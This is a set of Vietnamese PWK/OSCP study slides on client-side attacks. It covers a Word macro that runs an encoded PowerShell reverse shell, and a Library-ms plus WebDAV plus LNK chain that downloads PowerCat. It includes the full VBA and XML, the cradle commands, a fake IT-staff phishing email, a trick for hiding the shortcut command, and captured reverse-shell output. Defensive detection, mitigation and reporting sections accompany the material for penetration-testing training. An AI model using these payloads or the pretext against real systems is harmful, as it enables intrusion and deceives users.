  • Biến phải được gán đầy đủ trước khi gọi Run.
11.2.3 Leveraging Microsoft Word MacrosTài Liệu Học Tập PWK

PowerShell download cradle

Listing 6 — PowerCat reverse shell command
IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.119.2/powercat.ps1');powercat -c 192.168.119.2 -p 4444 -e powershell
  • Tải powercat.ps1 từ web server trong lab.
  • Kết nối về Kali trên port 4444.
  • IP và port phải thay theo environment được cấp.
11.2.3 Leveraging Microsoft Word MacrosTài Liệu Học Tập PWK

Giới hạn 255 ký tự trong VBA literal

  • VBA giới hạn độ dài của một literal string.
  • String được lưu trong variable có thể dài hơn.
  • Giải pháp là chia command thành nhiều chunk và nối vào Str.
  • Chunking phải giữ nguyên thứ tự và không thêm ký tự ngoài ý muốn.
  • Base64 string không được chứa line break khi đưa vào script chia chuỗi.
Lỗi thường gặpMột ký tự thiếu hoặc line break sai có thể khiến PowerShell decode thất bại mà macro không báo lỗi rõ ràng.
11.2.3 Leveraging Microsoft Word MacrosTài Liệu Học Tập PWK

Script Python chia chuỗi Base64

Listing 7 — Split command into 50-character chunks
str = "powershell.exe -nop -w hidden -e SQBFAFgAKABOAGUAdwA..."

n = 50

for i in range(0, len(str), n):
	print("Str = Str + " + '"' + str[i:i+n] + '"')
  • n = 50 xác định kích thước mỗi chunk.
  • Loop in ra các dòng Str = Str + "...".
  • Kiểm tra lại output trước khi dán vào VBA.
11.2.3 Leveraging Microsoft Word MacrosTài Liệu Học Tập PWK

Macro hoàn chỉnh gọi encoded PowerShell

Listing 8 — Macro invoking PowerShell
Sub AutoOpen()
    MyMacro
End Sub

Sub Document_Open()
    MyMacro
End Sub

Sub MyMacro()
    Dim Str As String
    
    Str = Str + "powershell.exe -nop -w hidden -enc SQBFAFgAKABOAGU"
        Str = Str + "AdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAd"
        Str = Str + "AAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwB"
    ...
        Str = Str + "QBjACAAMQA5ADIALgAxADYAOAAuADEAMQA4AC4AMgAgAC0AcAA"
        Str = Str + "gADQANAA0ADQAIAAtAGUAIABwAG8AdwBlAHIAcwBoAGUAbABsA"
        Str = Str + "A== "

    CreateObject("Wscript.Shell").Run Str
End Sub
  • AutoOpen và Document_Open gọi MyMacro.
  • Str được nối từ nhiều literal ngắn.
  • WScript.Shell.Run thực thi command cuối cùng.
11.2.3 Leveraging Microsoft Word MacrosTài Liệu Học Tập PWK

Chuẩn bị listener và web server

01Serve PowerCatKhởi chạy Python HTTP server tại thư mục chứa powercat.ps1.
02Start listenernc -nvlp 4444 trên Kali.
03Open documentMở document trong máy OFFICE theo delivery path cần test.
04Enable macroChỉ trong lab hoặc theo kịch bản được phê duyệt.
05VerifyĐối chiếu HTTP GET, callback và user context.
Lưu ýMacro warning có thể không xuất hiện lại nếu Word đã tin cậy document cùng tên/vị trí; reset state hoặc đổi tên để tái hiện.
11.2.3 Leveraging Microsoft Word MacrosTài Liệu Học Tập PWK

Callback từ Word macro

Listing 9 — Reverse shell from Word macro
kali@kali:~$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.119.2] from (UNKNOWN) [192.168.50.196] 49768
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Users\offsec\Documents>
  • Listener nhận kết nối từ máy OFFICE.
  • Shell chạy trong context người dùng đã mở document.
  • Không đồng nghĩa với privilege escalation.
11.2.3 Leveraging Microsoft Word MacrosTài Liệu Học Tập PWK

Điều gì cần ghi vào báo cáo?

Evidence kỹ thuật

  • Tên và hash document
  • Delivery path và MOTW
  • Office version/policy
  • Macro code hoặc benign PoC
  • Process tree Word → child process
  • HTTP request và callback

Business context

  • Nhóm người dùng bị ảnh hưởng
  • Tỷ lệ delivery/open/execute
  • Mức truy cập đạt được
  • Khả năng lateral movement
  • Controls đã chặn hoặc không chặn
Không phóng đạiMột reverse shell user-level không tự động đồng nghĩa với domain compromise; cần mô tả đúng mức tác động.
11.2.3 Leveraging Microsoft Word MacrosTài Liệu Học Tập PWK

Các biện pháp phòng thủ chính

BLOCK

Block macros from Internet

Dùng MOTW và Office policy.

SIGN

Signed macros

Chỉ cho phép macro từ trusted publisher.

ASR

ASR rules

Chặn Office tạo child process hoặc inject code.

MAIL

Email filtering

Block/sandbox macro-enabled documents.

EDR

Behavior detection

Phát hiện Word → PowerShell/WScript và network callback.

TRAIN

Awareness

Đào tạo theo quy trình nội bộ và reporting channel.

11.2.3 Leveraging Microsoft Word MacrosTài Liệu Học Tập PWK

Checklist xác minh macro finding

Macro lưu đúng trong .doc hoặc .docm.
Tái hiện đúng delivery path và MOTW.
Ghi rõ thao tác người dùng cần thiết.
Xác minh process tree và user context.
Callback chỉ tới hạ tầng kiểm thử được phê duyệt.
Dọn file, listener, web server và trusted state sau bài test.
11.3 Abusing Windows Library FilesTài Liệu Học Tập PWK

Abusing Windows Library Files

Learning Unit 11.3

Abusing Windows Library Files

Dùng Windows Library files làm stage một và shortcut file làm stage hai trong chuỗi delivery qua WebDAV.

11.3 Abusing Windows Library FilesTài Liệu Học Tập PWK

Mục tiêu học tập

  • Hiểu Windows Library file và vai trò của đuôi .Library-ms.
  • Chuẩn bị WebDAV share bằng WsgiDAV.
  • Xây XML Library Description trỏ tới remote location.
  • Tạo shortcut .lnk chứa PowerShell download cradle.
  • Ghép hai stage để nhận callback trong lab.
  • Đánh giá điểm kiểm soát ở email, endpoint, WebDAV và user interaction.
Lý do chọn vectorLibrary files ít nổi tiếng hơn macro và có thể đưa người dùng tới remote content dưới giao diện giống thư mục cục bộ.
11.3.1 Obtaining Code ExecutionTài Liệu Học Tập PWK

Windows Library file là gì?

LIB

Virtual container

Kết nối người dùng với nội dung ở local hoặc remote location.

EXT

.Library-ms

File XML được Windows Explorer xử lý khi double-click.

DAV

WebDAV

Remote location có thể hiển thị như thư mục.

LNK

Shortcut stage

File .lnk trong share kích hoạt stage hai.

UI

Explorer UX

Nội dung remote trông giống nội dung local.

USER

User action

Cần người dùng mở Library file rồi chạy shortcut.

11.3.1 Obtaining Code ExecutionTài Liệu Học Tập PWK

Chuỗi tấn công hai giai đoạn

01Stage 1 DeliveryGửi config.Library-ms tới người dùng.
02Open LibraryWindows Explorer kết nối WebDAV share.
03Stage 2 DisplayShortcut automatic_configuration.lnk xuất hiện.
04User ExecutionNgười dùng double-click shortcut.
05CallbackPowerShell tải PowerCat và kết nối về listener.
Điểm quan trọngLibrary file tự nó chủ yếu đưa nạn nhân tới remote location; code execution đến từ stage hai và hành động tiếp theo của người dùng.
11.3.1 Obtaining Code ExecutionTài Liệu Học Tập PWK

Vì sao không chỉ gửi link tải .lnk?

Direct web link

  • Gateway có thể phân tích URL
  • Executable file type dễ bị chặn
  • Browser tạo MOTW
  • Link reputation và content scanning

Library + WebDAV

  • Library file có thể qua một số filter
  • Explorer hiển thị remote share như directory
  • Stage hai không nằm trong email body
  • Vẫn có thể bị EDR, WebDAV controls hoặc user skepticism chặn
Không phải bypass tuyệt đốiCác sản phẩm hiện đại có thể nhận diện Library-ms, WebDAV, LNK và PowerShell behavior.
11.3.1 Obtaining Code ExecutionTài Liệu Học Tập PWK

Cài đặt WsgiDAV

Listing 10 — pip3 install wsgidav
kali@kali:~$ pip3 install wsgidav           
Defaulting to user installation because normal site-packages is not writeable
Collecting wsgidav
  Downloading WsgiDAV-4.0.1-py3-none-any.whl (171 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 171.3/171.3 KB 1.6 MB/s eta 0:00:00
...  
Successfully installed json5-0.9.6 wsgidav-4.0.1    
  • WsgiDAV tạo WebDAV server bằng Python.
  • Kali mới có thể chặn pip vào system environment theo PEP 668.
  • Có thể dùng virtual environment hoặc package python3-wsgidav.
11.3.1 Obtaining Code ExecutionTài Liệu Học Tập PWK

PEP 668 và lỗi externally-managed-environment

  • Kali/Debian có thể đánh dấu Python system environment là externally managed.
  • Không nên ép pip ghi trực tiếp vào system packages.
  • Dùng python3 -m venv để tạo virtual environment riêng.
  • Hoặc cài python3-wsgidav bằng apt nếu package có sẵn.
  • Đường dẫn command có thể là ~/.local/bin/wsgidav hoặc wsgidav tùy cách cài.
Thực hành tốtGhi lại cách cài đặt và phiên bản WsgiDAV để lab có thể tái hiện.
11.3.1 Obtaining Code ExecutionTài Liệu Học Tập PWK

Tạo và chạy WebDAV share

Listing 11 — WsgiDAV anonymous WebDAV server
kali@kali:~$ mkdir /home/kali/webdav

kali@kali:~$ touch /home/kali/webdav/test.txt

kali@kali:~$ /home/kali/.local/bin/wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/webdav/
Running without configuration file.
17:41:53.917 - WARNING : App wsgidav.mw.cors.Cors(None).is_disabled() returned True: skipping.
17:41:53.919 - INFO    : WsgiDAV/4.0.1 Python/3.9.10 Linux-5.15.0-kali3-amd64-x86_64-with-glibc2.33
17:41:53.919 - INFO    : Lock manager:      LockManager(LockStorageDict)
17:41:53.919 - INFO    : Property manager:  None
17:41:53.919 - INFO    : Domain controller: SimpleDomainController()
17:41:53.919 - INFO    : Registered DAV providers by route:
17:41:53.919 - INFO    :   - '/:dir_browser': FilesystemProvider for path '/home/kali/.local/lib/python3.9/site-packages/wsgidav/dir_browser/htdocs' (Read-Only) (anonymous)
17:41:53.919 - INFO    :   - '/': FilesystemProvider for path '/home/kali/webdav' (Read-Write) (anonymous)
17:41:53.920 - WARNING : Basic authentication is enabled: It is highly recommended to enable SSL.
17:41:53.920 - WARNING : Share '/' will allow anonymous write access.
17:41:53.920 - WARNING : Share '/:dir_browser' will allow anonymous read access.
17:41:54.348 - INFO    : Running WsgiDAV/4.0.1 Cheroot/8.5.2+ds1 Python 3.9.10
17:41:54.348 - INFO    : Serving on http://0.0.0.0:80 ..
  • Root share: /home/kali/webdav.
  • Listen trên 0.0.0.0:80.
  • Anonymous authentication bị tắt kiểm soát truy cập.
  • Log cảnh báo share cho phép anonymous write.
11.3.1 Obtaining Code ExecutionTài Liệu Học Tập PWK

Anonymous WebDAV trong lab

Lợi ích

  • Thiết lập nhanh
  • Windows Explorer truy cập không cần credential
  • Dễ copy file hai chiều trong lab

Rủi ro

  • Bất kỳ client nào có thể đọc/ghi
  • Payload có thể bị thay đổi hoặc xóa
  • Không có TLS
  • Không phù hợp với Internet công khai
Giới hạnChỉ bind trong mạng lab hoặc interface được kiểm soát; tắt server ngay sau khi kiểm thử.
11.3.1 Obtaining Code ExecutionTài Liệu Học Tập PWK

Kiểm tra WebDAV share từ browser

Figure 25: Contents of WebDAV share
Figure 25 — Contents of WebDAV share
  • test.txt chứng minh share đang hoạt động.
  • Browser access chỉ là bước sanity check; Windows Explorer dùng WebDAV client behavior khác.
  • Log WsgiDAV giúp đối chiếu IP và request.
11.3.1 Obtaining Code ExecutionTài Liệu Học Tập PWK

Chuẩn bị Windows client

Figure 26: Windows 11 Desktop
Figure 26 — Windows 11 Desktop
  • Library file và shortcut được tạo trên Windows để giữ đúng format.
  • Tạo file trên Linux có thể được nhưng dễ sai encoding hoặc schema.
  • Snapshot trước khi thử giúp khôi phục nhanh.
11.3.1 Obtaining Code ExecutionTài Liệu Học Tập PWK

Khung XML Library Description

Listing 12 — Empty libraryDescription
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">

</libraryDescription>
  • Root element dùng namespace Windows 2009/library.
  • File phải là XML hợp lệ và lưu với extension .Library-ms.
  • Các element tiếp theo xác định tên, version, icon, template và location.
11.3.1 Obtaining Code ExecutionTài Liệu Học Tập PWK

Tên và version của Library

Listing 13 — name và version
<name>@windows.storage.dll,-34582</name>
<version>6</version>
  • name dùng resource string từ windows.storage.dll.
  • version được đặt là 6 trong ví dụ.
  • Các trường này giúp Explorer hiển thị container hợp lệ.
11.3.1 Obtaining Code ExecutionTài Liệu Học Tập PWK

Pin và icon reference

Listing 14 — isLibraryPinned và iconReference
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>
  • isLibraryPinned kiểm soát việc library có được pin hay không.
  • iconReference chọn icon hệ thống.
  • Icon có thể tác động tới mức độ tin cậy của người dùng nhưng không nên dùng để mạo danh ngoài phạm vi.
11.3.1 Obtaining Code ExecutionTài Liệu Học Tập PWK

Template folder type

Listing 15 — templateInfo
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
  • folderType GUID xác định template hiển thị.
  • Ví dụ dùng loại Documents.
  • Template ảnh hưởng layout Explorer nhưng không tạo code execution.
11.3.1 Obtaining Code ExecutionTài Liệu Học Tập PWK

Remote WebDAV location

Listing 16 — searchConnectorDescriptionList
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>http://192.168.119.2</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
  • simpleLocation/url trỏ tới WebDAV server.
  • isDefaultSaveLocation và isSupported cấu hình behavior.
  • IP phải là địa chỉ Kali có thể truy cập từ client.
11.3.1 Obtaining Code ExecutionTài Liệu Học Tập PWK

Library-ms hoàn chỉnh

Listing 17 — Full config.Library-ms XML
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name>
<version>6</version>
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>http://192.168.119.2</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
  • Kết hợp metadata, icon, template và remote URL.
  • XML phải đóng tag đúng thứ tự.
  • Sau khi mở lần đầu, Windows có thể sửa nội dung file; tài liệu hướng dẫn khôi phục bản gốc trước khi delivery.
11.3.1 Obtaining Code ExecutionTài Liệu Học Tập PWK

Library file rỗng trong Explorer

Figure 27: Empty Windows Library file
Figure 27 — Empty Windows Library file
  • File được Windows nhận diện như library container.
  • Trước khi URL hoạt động hoặc share có nội dung, Explorer có thể hiển thị trống.
  • Đây là bước kiểm tra schema và extension.
11.3.1 Obtaining Code ExecutionTài Liệu Học Tập PWK

Mở Library file

Figure 28: Double-Clicking the Windows Library file
Figure 28 — Double-Clicking the Windows Library file
  • Explorer kết nối remote WebDAV location.
  • Nội dung remote được trình bày gần giống thư mục local.
  • Log phía WsgiDAV phải ghi nhận kết nối từ client.
11.3.1 Obtaining Code ExecutionTài Liệu Học Tập PWK

XML bị Windows chỉnh sửa

Figure 29: Modified XML code of config.Library-ms
Figure 29 — Modified XML code of config.Library-ms
  • Windows có thể thêm hoặc thay đổi metadata sau khi file được mở.
  • Cần giữ một bản clean/original để delivery.
  • So sánh hash trước và sau khi mở giúp nhận diện thay đổi.
11.3.1 Obtaining Code ExecutionTài Liệu Học Tập PWK

Chuẩn bị stage hai: shortcut

PATH

Target path

Shortcut trỏ tới powershell.exe cùng arguments.

CRADLE

Download cradle

Tải powercat.ps1 từ HTTP server riêng.

CALL

Callback

Kết nối về Kali listener.

NAME

Friendly name

automatic_configuration tạo bối cảnh hỗ trợ IT.

ICON

Presentation

Icon và tên file ảnh hưởng user perception.

PROP

Properties

Command dài có thể bị ẩn khỏi vùng hiển thị nhưng vẫn bị EDR quan sát.

11.3.1 Obtaining Code ExecutionTài Liệu Học Tập PWK

PowerShell command trong shortcut

Listing 18 — Download cradle và PowerCat
powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.119.3:8000/powercat.ps1');
powercat -c 192.168.119.3 -p 4444 -e powershell"
  • HTTP server chạy trên port 8000.
  • Listener nhận kết nối trên port 4444.
  • Command được đặt trong Target của .lnk.
  • Trong assessment hiện đại, PowerShell network cradle là tín hiệu phát hiện mạnh.
11.3.1 Obtaining Code ExecutionTài Liệu Học Tập PWK

Tạo shortcut trên CLIENT137

Figure 28: Creating a Shortcut on CLIENT137
Figure 28 — Creating a Shortcut on CLIENT137
  • Paste PowerShell command vào Create Shortcut wizard.
  • Đặt tên automatic_configuration.
  • Kiểm tra chính xác quote, URL, IP và port.
11.3.1 Obtaining Code ExecutionTài Liệu Học Tập PWK

“Đẩy” command ra khỏi vùng hiển thị

  • Target field của shortcut có thể chỉ hiển thị một phần command dài.
  • Thêm delimiter và benign-looking text có thể khiến đoạn đáng ngờ nằm ngoài vùng nhìn thấy.
  • Kỹ thuật này không che command khỏi forensic tools, EDR hoặc PowerShell logging.
  • Không nên đánh giá thành công chỉ dựa trên việc người dùng khó nhìn thấy Target.
  • Báo cáo cần mô tả đây là yếu tố social engineering, không phải security boundary bypass.
Phòng thủSecurity teams nên phân tích shortcut target programmatically thay vì dựa vào giao diện Properties.
11.3.1 Obtaining Code ExecutionTài Liệu Học Tập PWK

Kiểm tra shortcut trước khi delivery

01Start HTTPServe powercat.ps1 trên port 8000.
02Start listenernc -nvlp 4444.
03Run shortcutDouble-click trong client lab.
04Confirm promptGhi lại warning hoặc confirmation UI.
05Verify shellKiểm tra callback và process/user context.
11.3.1 Obtaining Code ExecutionTài Liệu Học Tập PWK

Callback thử nghiệm từ shortcut

Listing 19 — Successful reverse shell via shortcut
kali@kali:~$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.119.2] from (UNKNOWN) [192.168.50.194] 49768
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Windows\System32\WindowsPowerShell\v1.0>
  • Chứng minh stage hai hoạt động độc lập.
  • Shell xuất phát từ client lab.
  • Sau bước này mới ghép shortcut vào WebDAV share.
11.3.1 Obtaining Code ExecutionTài Liệu Học Tập PWK

Ví dụ pretext email trong tài liệu

Listing 20 — Example email content
Hello! My name is Dwight, and I'm a new member of the IT Team. 

This week I am completing some configurations we rolled out last week.
To make this easier, I've attached a file that will automatically
perform each step. Could you download the attachment, open the
directory, and double-click "automatic_configuration"? Once you
confirm the configuration in the window that appears, you're all done!

If you have any questions, or run into any problems, please let me
know!
  • Mạo danh thành viên IT mới và yêu cầu chạy automatic_configuration.
  • Trong pentest, nội dung phải được khách hàng duyệt và không được tạo hậu quả thật.
  • Nên có kill switch, reporting channel và danh sách người nhận rõ ràng.
11.3.1 Obtaining Code ExecutionTài Liệu Học Tập PWK

Đánh giá pretext trong Listing 20

Điểm tạo niềm tin

  • Vai trò IT quen thuộc
  • Công việc cấu hình hợp lý
  • Tên file thân thiện
  • Hướng dẫn từng bước
  • Đề nghị hỗ trợ nếu có lỗi

Dấu hiệu rủi ro

  • Người gửi mới
  • Yêu cầu chạy file
  • Không có ticket/change ID
  • Không qua phần mềm quản lý chính thức
  • Shortcut tải code từ Internet
Defender lessonĐào tạo người dùng xác minh yêu cầu IT qua ticketing/help desk thay vì chỉ dựa vào nội dung email.
11.3.1 Obtaining Code ExecutionTài Liệu Học Tập PWK

Tại sao serve PowerCat bằng HTTP riêng?

  • WebDAV share trong lab được cấu hình writable.
  • AV hoặc security tool có thể xóa/quarantine payload nằm trên share.
  • Đặt PowerCat trên Python HTTP server giữ stage payload tách khỏi share.
  • WebDAV vẫn dùng để delivery Library-ms và LNK.
  • Trong assessment cần cân nhắc network controls, TLS và hạ tầng callback được duyệt.
Trade-offTách hạ tầng giúp vận hành rõ ràng hơn nhưng tạo thêm network indicators.
11.3.1 Obtaining Code ExecutionTài Liệu Học Tập PWK

Upload Library file qua SMB share

Listing 21 — smbclient put config.Library-ms
kali@kali:~$ cd webdav

kali@kali:~/webdav$ cd webdav

kali@kali:~/webdav$ rm test.txt

kali@kali:~/webdav$ smbclient //192.168.50.195/share -c 'put config.Library-ms'
Enter WORKGROUP\kali's password: 
putting file config.Library-ms as \config.Library-ms (1.8 kb/s) (average 1.8 kb/s)
  • SMB share mô phỏng bước delivery trong lab.
  • Xóa test.txt để remote directory chỉ còn nội dung cần thiết.
  • Trong assessment thực tế delivery có thể qua email hoặc kênh được phê duyệt.
11.3.1 Obtaining Code ExecutionTài Liệu Học Tập PWK

Reverse shell từ HR137

Listing 22 — Incoming reverse shell from HR137
kali@kali:~$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.119.2] from (UNKNOWN) [192.168.50.195] 56839
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Windows\System32\WindowsPowerShell\v1.0> whoami
whoami
hr137\hsmith
  • whoami xác nhận context hr137\hsmith.
  • Chuỗi Library-ms → WebDAV → LNK → PowerShell đã hoạt động.
  • Đây là user-level foothold, chưa phải administrative access.
11.3.1 Obtaining Code ExecutionTài Liệu Học Tập PWK

Chuỗi hoàn chỉnh cần ghi vào evidence

01Deliver Libraryconfig.Library-ms tới máy mục tiêu.
02Open ContainerExplorer truy cập WebDAV.
03Display Shortcutautomatic_configuration.lnk xuất hiện.
04Run Stage TwoPowerShell tải PowerCat.
05Receive ShellNetcat nhận callback và xác minh whoami.
11.3.1 Obtaining Code ExecutionTài Liệu Học Tập PWK

Điểm phát hiện của defender

MAIL

Email gateway

Library-ms attachment hoặc archive chứa Library file.

NET

WebDAV traffic

HTTP/WebDAV tới IP hoặc domain không quen thuộc.

LNK

Shortcut analytics

Target là powershell.exe với encoded/download command.

PROC

Process tree

explorer.exe → powershell.exe.

LOG

PowerShell logs

Script block, module và command-line logging.

EDR

Behavior

Download cradle, in-memory script và reverse connection.

11.3.1 Obtaining Code ExecutionTài Liệu Học Tập PWK

Biện pháp giảm thiểu

DAV

Hạn chế WebClient/WebDAV

Disable nếu không cần hoặc giới hạn egress.

LNK

Block risky shortcuts

Kiểm soát LNK từ email/download zones.

ASR

ASR rules

Chặn script interpreters và suspicious child processes.

PS

PowerShell hardening

Constrained Language Mode, logging và allowlisting.

MAIL

Attachment policies

Quarantine Library-ms và phân tích archive.

USER

Verification process

Mọi yêu cầu IT phải có ticket hoặc kênh xác minh.

11.3.1 Obtaining Code ExecutionTài Liệu Học Tập PWK

Checklist vận hành Library-ms lab

WsgiDAV chỉ listen trong mạng lab.
config.Library-ms dùng đúng URL và giữ bản clean.
Shortcut đã được kiểm tra độc lập.
Python HTTP server và listener chạy đúng port.
WebDAV/HTTP/Netcat logs được lưu làm evidence.
Dọn SMB file, WebDAV share, shortcut và callback infrastructure sau bài test.
11.4 Wrapping UpTài Liệu Học Tập PWK

Wrapping Up

Chapter 11 Summary

Wrapping Up

Kết nối reconnaissance, social engineering constraints và hai chuỗi client-side attack thành một phương pháp kiểm thử có thể tái hiện.

11.4 Wrapping UpTài Liệu Học Tập PWK

Ba năng lực chính của Chương 11

RECON

Target reconnaissance

Tài liệu công khai, metadata và phần mềm được suy luận.

FPRINT

Client fingerprinting

OS, browser, IP và runtime data để chọn vector.

EXEC

Controlled execution

Macro hoặc Library/LNK tạo user-level foothold trong lab.

11.4 Wrapping UpTài Liệu Học Tập PWK

Phương pháp làm việc chuẩn

01Thu thậpBắt đầu từ dữ liệu ít gây nhiễu.
02Xác minhFingerprint để giảm giả định.
03Thiết kếChọn delivery và payload phù hợp controls.
04Thực thiChỉ trên target và thời gian được duyệt.
05Báo cáoMô tả user action, controls, impact và remediation.
11.4 Wrapping UpTài Liệu Học Tập PWK

Điều cần phân biệt trong báo cáo

Technical success

  • File được delivery
  • User mở file
  • Macro/LNK chạy
  • Callback thành công
  • User context được xác minh

Business risk

  • Số người có thể bị ảnh hưởng
  • Quyền của user
  • Khả năng truy cập dữ liệu nội bộ
  • Khả năng lateral movement
  • Mức hiệu quả của awareness và controls
Độ chính xácKhông đồng nhất “người dùng click” với “domain compromise”; đánh giá từng bước của attack chain.
11.4 Wrapping UpTài Liệu Học Tập PWK

Checklist báo cáo client-side finding

Scope, nhóm người dùng và pretext được phê duyệt.
Timeline delivery, open, execution và callback.
File hash, URL, IP, port và payload version.
MOTW, Office policy, ASR/EDR và email control liên quan.
User interaction bắt buộc để exploitation thành công.
Impact thực tế đạt được và giới hạn.
Remediation ưu tiên theo defense-in-depth.
11.4 Wrapping UpTài Liệu Học Tập PWK

Thông điệp cuối cùng

  • Client-side attack thường là con đường hiệu quả để có foothold trong mạng nội bộ không routable.
  • Reconnaissance quyết định chất lượng của vector và pretext.
  • Office macros và Windows Library files đều phụ thuộc vào user action và môi trường bảo vệ.
  • Một assessment tốt phải đo được cả kiểm soát kỹ thuật lẫn quy trình xác minh của người dùng.
  • Mục tiêu cuối cùng là giúp tổ chức giảm xác suất delivery, execution và callback — không phải chỉ chứng minh payload chạy.
Lab onlyMọi lệnh, macro và callback trong tài liệu chỉ dùng trong lab hoặc hệ thống có ủy quyền rõ ràng.
Kết thúcTài Liệu Học Tập PWK
TÀI LIỆU HỌC TẬP PWK

Tiếp tục lộ trình PWK / OSCP

Ôn tập, thực hành có kiểm soát và ghi notes theo từng attack chain.

security365.vn/pwk-oscp/
Thực hành có trách nhiệm · Lab / Authorized Systems Only
Đã sao chép